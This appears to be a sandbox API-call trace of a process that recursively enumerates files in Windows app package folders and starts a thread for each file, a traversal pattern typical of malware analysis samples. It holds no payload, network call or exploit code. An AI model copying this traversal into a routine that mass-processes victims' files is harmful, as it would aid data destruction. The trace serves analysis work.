	[0089.906] FindNextFileW (in: hFindFile=0x46a7e18, lpFindFileData=0x502fbd0 | out: lpFindFileData=0x502fbd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3ea9e4fd, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xb4c00eb0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3ea9e4fd, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Resources", cAlternateFileName="RESOUR~1")) returned 1
	[0089.906] wcscmp (_String1="Resources", _String2=".") returned 1
	[0089.906] wcscmp (_String1="Resources", _String2="..") returned 1
	[0089.906] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xbe) returned 0x4924d48
	[0089.906] wcscpy (in: _Dest=0x4924d48, _Source="C:\\Program Files\\WindowsApps\\Microsoft.ZuneMusic_10.16112.11621.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.ZuneMusic_10.16112.11621.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.ZuneMusic_10.16112.11621.0_x64__8wekyb3d8bbwe"
	[0089.906] wcscat (in: _Dest=0x4924d48, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.ZuneMusic_10.16112.11621.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.ZuneMusic_10.16112.11621.0_x64__8wekyb3d8bbwe\\"
	[0089.906] wcscat (in: _Dest=0x4924d48, _Source="Resources" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.ZuneMusic_10.16112.11621.0_x64__8wekyb3d8bbwe\\Resources") returned="C:\\Program Files\\WindowsApps\\Microsoft.ZuneMusic_10.16112.11621.0_x64__8wekyb3d8bbwe\\Resources"
	[0089.906] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x4924d48, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1ff0
	[0089.906] FindNextFileW (in: hFindFile=0x46a7e18, lpFindFileData=0x502fbd0 | out: lpFindFileData=0x502fbd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e9df935, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x3ea9e4fd, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x3ea9e4fd, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x18d148, dwReserved0=0x0, dwReserved1=0x0, cFileName="resources.pri", cAlternateFileName="")) returned 1
	[0089.906] wcscmp (_String1="resources.pri", _String2=".") returned 1
	[0089.906] wcscmp (_String1="resources.pri", _String2="..") returned 1
	[0089.906] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc6) returned 0x47e8ce0
	[0089.907] wcscpy (in: _Dest=0x47e8ce0, _Source="C:\\Program Files\\WindowsApps\\Microsoft.ZuneMusic_10.16112.11621.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.ZuneMusic_10.16112.11621.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.ZuneMusic_10.16112.11621.0_x64__8wekyb3d8bbwe"
	[0089.907] wcscat (in: _Dest=0x47e8ce0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.ZuneMusic_10.16112.11621.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.ZuneMusic_10.16112.11621.0_x64__8wekyb3d8bbwe\\"
	[0089.907] wcscat (in: _Dest=0x47e8ce0, _Source="resources.pri" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.ZuneMusic_10.16112.11621.0_x64__8wekyb3d8bbwe\\resources.pri") returned="C:\\Program Files\\WindowsApps\\Microsoft.ZuneMusic_10.16112.11621.0_x64__8wekyb3d8bbwe\\resources.pri"
	[0089.907] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x47e8ce0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1ff4
	[0089.907] FindNextFileW (in: hFindFile=0x46a7e18, lpFindFileData=0x502fbd0 | out: lpFindFileData=0x502fbd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e9df935, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x3ea9e4fd, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x3ea9e4fd, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x18d148, dwReserved0=0x0, dwReserved1=0x0, cFileName="resources.pri", cAlternateFileName="")) returned 0
	[0089.907] FindClose (in: hFindFile=0x46a7e18 | out: hFindFile=0x46a7e18) returned 1
	[0089.907] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x502fbd0) returned 1
	[0089.907] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x481b950) returned 1
	[0089.907] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d7d1d0) returned 1

Thread:
	id = 1061
	os_tid = 0x1d04

	[0082.743] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xbc) returned 0x4924ed8
	[0082.743] wcscpy (in: _Dest=0x4924ed8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.ZuneMusic_2019.16112.11621.0_neutral_~_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.ZuneMusic_2019.16112.11621.0_neutral_~_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.ZuneMusic_2019.16112.11621.0_neutral_~_8wekyb3d8bbwe"
	[0082.743] wcscat (in: _Dest=0x4924ed8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.ZuneMusic_2019.16112.11621.0_neutral_~_8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.ZuneMusic_2019.16112.11621.0_neutral_~_8wekyb3d8bbwe\\"
	[0082.743] wcscat (in: _Dest=0x4924ed8, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.ZuneMusic_2019.16112.11621.0_neutral_~_8wekyb3d8bbwe\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.ZuneMusic_2019.16112.11621.0_neutral_~_8wekyb3d8bbwe\\*"
	[0082.743] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x502fe38
	[0082.743] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.ZuneMusic_2019.16112.11621.0_neutral_~_8wekyb3d8bbwe\\*", lpFindFileData=0x502fe38 | out: lpFindFileData=0x502fe38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3cfa24be, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xa21af8a, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xa21af8a, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x46a7e58
	[0082.745] wcscmp (_String1=".", _String2=".") returned 0
	[0082.745] FindNextFileW (in: hFindFile=0x46a7e58, lpFindFileData=0x502fe38 | out: lpFindFileData=0x502fe38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3cfa24be, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xa21af8a, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xa21af8a, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0082.745] wcscmp (_String1="..", _String2=".") returned 1
	[0082.745] wcscmp (_String1="..", _String2="..") returned 0
	[0082.745] FindNextFileW (in: hFindFile=0x46a7e58, lpFindFileData=0x502fe38 | out: lpFindFileData=0x502fe38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d014bca, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x3d014bca, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x3d014bca, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x154, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxBlockMap.xml", cAlternateFileName="")) returned 1
	[0082.745] wcscmp (_String1="AppxBlockMap.xml", _String2=".") returned 1
	[0082.746] wcscmp (_String1="AppxBlockMap.xml", _String2="..") returned 1
	[0082.746] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xda) returned 0x4723288
	[0082.746] wcscpy (in: _Dest=0x4723288, _Source="C:\\Program Files\\WindowsApps\\Microsoft.ZuneMusic_2019.16112.11621.0_neutral_~_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.ZuneMusic_2019.16112.11621.0_neutral_~_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.ZuneMusic_2019.16112.11621.0_neutral_~_8wekyb3d8bbwe"
	[0082.746] wcscat (in: _Dest=0x4723288, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.ZuneMusic_2019.16112.11621.0_neutral_~_8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.ZuneMusic_2019.16112.11621.0_neutral_~_8wekyb3d8bbwe\\"
	[0082.746] wcscat (in: _Dest=0x4723288, _Source="AppxBlockMap.xml" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.ZuneMusic_2019.16112.11621.0_neutral_~_8wekyb3d8bbwe\\AppxBlockMap.xml") returned="C:\\Program Files\\WindowsApps\\Microsoft.ZuneMusic_2019.16112.11621.0_neutral_~_8wekyb3d8bbwe\\AppxBlockMap.xml"
	[0089.894] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x4723288, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1690
	[0089.895] FindNextFileW (in: hFindFile=0x46a7e58, lpFindFileData=0x502fe38 | out: lpFindFileData=0x502fe38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3cfa24be, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xb4c7df06, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3cfa24be, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxMetadata", cAlternateFileName="APPXME~1")) returned 1
	[0089.895] wcscmp (_String1="AppxMetadata", _String2=".") returned 1
	[0089.895] wcscmp (_String1="AppxMetadata", _String2="..") returned 1
	[0089.895] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xd2) returned 0x2e44d00
	[0089.895] wcscpy (in: _Dest=0x2e44d00, _Source="C:\\Program Files\\WindowsApps\\Microsoft.ZuneMusic_2019.16112.11621.0_neutral_~_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.ZuneMusic_2019.16112.11621.0_neutral_~_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.ZuneMusic_2019.16112.11621.0_neutral_~_8wekyb3d8bbwe"
	[0089.895] wcscat (in: _Dest=0x2e44d00, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.ZuneMusic_2019.16112.11621.0_neutral_~_8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.ZuneMusic_2019.16112.11621.0_neutral_~_8wekyb3d8bbwe\\"
	[0089.895] wcscat (in: _Dest=0x2e44d00, _Source="AppxMetadata" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.ZuneMusic_2019.16112.11621.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata") returned="C:\\Program Files\\WindowsApps\\Microsoft.ZuneMusic_2019.16112.11621.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata"
	[0089.895] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2e44d00, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1fcc
	[0089.896] FindNextFileW (in: hFindFile=0x46a7e58, lpFindFileData=0x502fe38 | out: lpFindFileData=0x502fe38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d014bca, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x3d061081, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x3d061081, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x2971, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxSignature.p7x", cAlternateFileName="")) returned 1
	[0089.896] wcscmp (_String1="AppxSignature.p7x", _String2=".") returned 1
	[0089.896] wcscmp (_String1="AppxSignature.p7x", _String2="..") returned 1
	[0089.896] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xdc) returned 0x4767320
	[0089.896] wcscpy (in: _Dest=0x4767320, _Source="C:\\Program Files\\WindowsApps\\Microsoft.ZuneMusic_2019.16112.11621.0_neutral_~_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.ZuneMusic_2019.16112.11621.0_neutral_~_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.ZuneMusic_2019.16112.11621.0_neutral_~_8wekyb3d8bbwe"
	[0089.896] wcscat (in: _Dest=0x4767320, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.ZuneMusic_2019.16112.11621.0_neutral_~_8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.ZuneMusic_2019.16112.11621.0_neutral_~_8wekyb3d8bbwe\\"
	[0089.896] wcscat (in: _Dest=0x4767320, _Source="AppxSignature.p7x" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.ZuneMusic_2019.16112.11621.0_neutral_~_8wekyb3d8bbwe\\AppxSignature.p7x") returned="C:\\Program Files\\WindowsApps\\Microsoft.ZuneMusic_2019.16112.11621.0_neutral_~_8wekyb3d8bbwe\\AppxSignature.p7x"
	[0089.896] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x4767320, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1fd0
	[0089.897] FindNextFileW (in: hFindFile=0x46a7e58, lpFindFileData=0x502fe38 | out: lpFindFileData=0x502fe38*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xa21af8a, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xa21af8a, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xa21af8a, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="microsoft.system.package.metadata", cAlternateFileName="MICROS~1.MET")) returned 1
	[0089.897] wcscmp (_String1="microsoft.system.package.metadata", _String2=".") returned 1
	[0089.897] wcscmp (_String1="microsoft.system.package.metadata", _String2="..") returned 1
	[0089.897] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xfc) returned 0x481c868
	[0089.897] wcscpy (in: _Dest=0x481c868, _Source="C:\\Program Files\\WindowsApps\\Microsoft.ZuneMusic_2019.16112.11621.0_neutral_~_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.ZuneMusic_2019.16112.11621.0_neutral_~_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.ZuneMusic_2019.16112.11621.0_neutral_~_8wekyb3d8bbwe"
	[0089.897] wcscat (in: _Dest=0x481c868, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.ZuneMusic_2019.16112.11621.0_neutral_~_8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.ZuneMusic_2019.16112.11621.0_neutral_~_8wekyb3d8bbwe\\"
	[0089.897] wcscat (in: _Dest=0x481c868, _Source="microsoft.system.package.metadata" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.ZuneMusic_2019.16112.11621.0_neutral_~_8wekyb3d8bbwe\\microsoft.system.package.metadata") returned="C:\\Program Files\\WindowsApps\\Microsoft.ZuneMusic_2019.16112.11621.0_neutral_~_8wekyb3d8bbwe\\microsoft.system.package.metadata"
	[0089.897] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x481c868, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1fd4
	[0089.898] FindNextFileW (in: hFindFile=0x46a7e58, lpFindFileData=0x502fe38 | out: lpFindFileData=0x502fe38*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xa21af8a, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xa21af8a, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xa21af8a, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="microsoft.system.package.metadata", cAlternateFileName="MICROS~1.MET")) returned 0
	[0089.898] FindClose (in: hFindFile=0x46a7e58 | out: hFindFile=0x46a7e58) returned 1
	[0089.898] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x502fe38) returned 1
	[0089.898] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4924ed8) returned 1
	[0089.898] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x476a6e8) returned 1

Thread:
	id = 1062
	os_tid = 0x1d08

	[0082.746] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xdc) returned 0x47230b8
	[0082.746] wcscpy (in: _Dest=0x47230b8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.ZuneVideo_10.16112.11601.0_neutral_resources.scale-150_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.ZuneVideo_10.16112.11601.0_neutral_resources.scale-150_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.ZuneVideo_10.16112.11601.0_neutral_resources.scale-150_8wekyb3d8bbwe"
	[0082.746] wcscat (in: _Dest=0x47230b8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.ZuneVideo_10.16112.11601.0_neutral_resources.scale-150_8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.ZuneVideo_10.16112.11601.0_neutral_resources.scale-150_8wekyb3d8bbwe\\"
	[0082.746] wcscat (in: _Dest=0x47230b8, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.ZuneVideo_10.16112.11601.0_neutral_resources.scale-150_8wekyb3d8bbwe\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.ZuneVideo_10.16112.11601.0_neutral_resources.scale-150_8wekyb3d8bbwe\\*"
	[0082.746] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x5030f10
	[0082.746] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.ZuneVideo_10.16112.11601.0_neutral_resources.scale-150_8wekyb3d8bbwe\\*", lpFindFileData=0x5030f10 | out: lpFindFileData=0x5030f10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x442f2a78, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xc676e57, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xc676e57, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x46a7e98
	[0082.747] wcscmp (_String1=".", _String2=".") returned 0
	[0082.747] FindNextFileW (in: hFindFile=0x46a7e98, lpFindFileData=0x5030f10 | out: lpFindFileData=0x5030f10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x442f2a78, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xc676e57, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xc676e57, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0082.747] wcscmp (_String1="..", _String2=".") returned 1
	[0082.747] wcscmp (_String1="..", _String2="..") returned 0
	[0082.747] FindNextFileW (in: hFindFile=0x46a7e98, lpFindFileData=0x5030f10 | out: lpFindFileData=0x5030f10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x44318cd2, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x44318cd2, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x44318cd2, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0xe86, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxBlockMap.xml", cAlternateFileName="")) returned 1
	[0082.747] wcscmp (_String1="AppxBlockMap.xml", _String2=".") returned 1
	[0082.747] wcscmp (_String1="AppxBlockMap.xml", _String2="..") returned 1
	[0082.747] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xfa) returned 0x481d4c8
	[0082.747] wcscpy (in: _Dest=0x481d4c8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.ZuneVideo_10.16112.11601.0_neutral_resources.scale-150_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.ZuneVideo_10.16112.11601.0_neutral_resources.scale-150_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.ZuneVideo_10.16112.11601.0_neutral_resources.scale-150_8wekyb3d8bbwe"
	[0082.747] wcscat (in: _Dest=0x481d4c8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.ZuneVideo_10.16112.11601.0_neutral_resources.scale-150_8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.ZuneVideo_10.16112.11601.0_neutral_resources.scale-150_8wekyb3d8bbwe\\"
	[0082.747] wcscat (in: _Dest=0x481d4c8, _Source="AppxBlockMap.xml" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.ZuneVideo_10.16112.11601.0_neutral_resources.scale-150_8wekyb3d8bbwe\\AppxBlockMap.xml") returned="C:\\Program Files\\WindowsApps\\Microsoft.ZuneVideo_10.16112.11601.0_neutral_resources.scale-150_8wekyb3d8bbwe\\AppxBlockMap.xml"
	[0089.888] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x481d4c8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1694
	[0089.889] FindNextFileW (in: hFindFile=0x46a7e98, lpFindFileData=0x5030f10 | out: lpFindFileData=0x5030f10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x442f2a78, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x442f2a78, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x442f2a78, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x353, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxManifest.xml", cAlternateFileName="")) returned 1
	[0089.889] wcscmp (_String1="AppxManifest.xml", _String2=".") returned 1
	[0089.889] wcscmp (_String1="AppxManifest.xml", _String2="..") returned 1
	[0089.889] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xfa) returned 0x481c340
	[0089.889] wcscpy (in: _Dest=0x481c340, _Source="C:\\Program Files\\WindowsApps\\Microsoft.ZuneVideo_10.16112.11601.0_neutral_resources.scale-150_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.ZuneVideo_10.16112.11601.0_neutral_resources.scale-150_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.ZuneVideo_10.16112.11601.0_neutral_resources.scale-150_8wekyb3d8bbwe"
	[0089.889] wcscat (in: _Dest=0x481c340, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.ZuneVideo_10.16112.11601.0_neutral_resources.scale-150_8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.ZuneVideo_10.16112.11601.0_neutral_resources.scale-150_8wekyb3d8bbwe\\"
	[0089.889] wcscat (in: _Dest=0x481c340, _Source="AppxManifest.xml" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.ZuneVideo_10.16112.11601.0_neutral_resources.scale-150_8wekyb3d8bbwe\\AppxManifest.xml") returned="C:\\Program Files\\WindowsApps\\Microsoft.ZuneVideo_10.16112.11601.0_neutral_resources.scale-150_8wekyb3d8bbwe\\AppxManifest.xml"
	[0089.889] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x481c340, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1fb8
	[0089.889] FindNextFileW (in: hFindFile=0x46a7e98, lpFindFileData=0x5030f10 | out: lpFindFileData=0x5030f10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x44318cd2, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x44318cd2, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x44318cd2, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x2971, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxSignature.p7x", cAlternateFileName="")) returned 1
	[0089.889] wcscmp (_String1="AppxSignature.p7x", _String2=".") returned 1
	[0089.890] wcscmp (_String1="AppxSignature.p7x", _String2="..") returned 1
	[0089.890] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xfc) returned 0x481c448
	[0089.890] wcscpy (in: _Dest=0x481c448, _Source="C:\\Program Files\\WindowsApps\\Microsoft.ZuneVideo_10.16112.11601.0_neutral_resources.scale-150_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.ZuneVideo_10.16112.11601.0_neutral_resources.scale-150_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.ZuneVideo_10.16112.11601.0_neutral_resources.scale-150_8wekyb3d8bbwe"
	[0089.890] wcscat (in: _Dest=0x481c448, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.ZuneVideo_10.16112.11601.0_neutral_resources.scale-150_8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.ZuneVideo_10.16112.11601.0_neutral_resources.scale-150_8wekyb3d8bbwe\\"
	[0089.890] wcscat (in: _Dest=0x481c448, _Source="AppxSignature.p7x" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.ZuneVideo_10.16112.11601.0_neutral_resources.scale-150_8wekyb3d8bbwe\\AppxSignature.p7x") returned="C:\\Program Files\\WindowsApps\\Microsoft.ZuneVideo_10.16112.11601.0_neutral_resources.scale-150_8wekyb3d8bbwe\\AppxSignature.p7x"
	[0089.890] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x481c448, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1fbc
	[0089.890] FindNextFileW (in: hFindFile=0x46a7e98, lpFindFileData=0x5030f10 | out: lpFindFileData=0x5030f10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x44318cd2, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xb4d06ebb, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x443b1640, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Assets", cAlternateFileName="")) returned 1
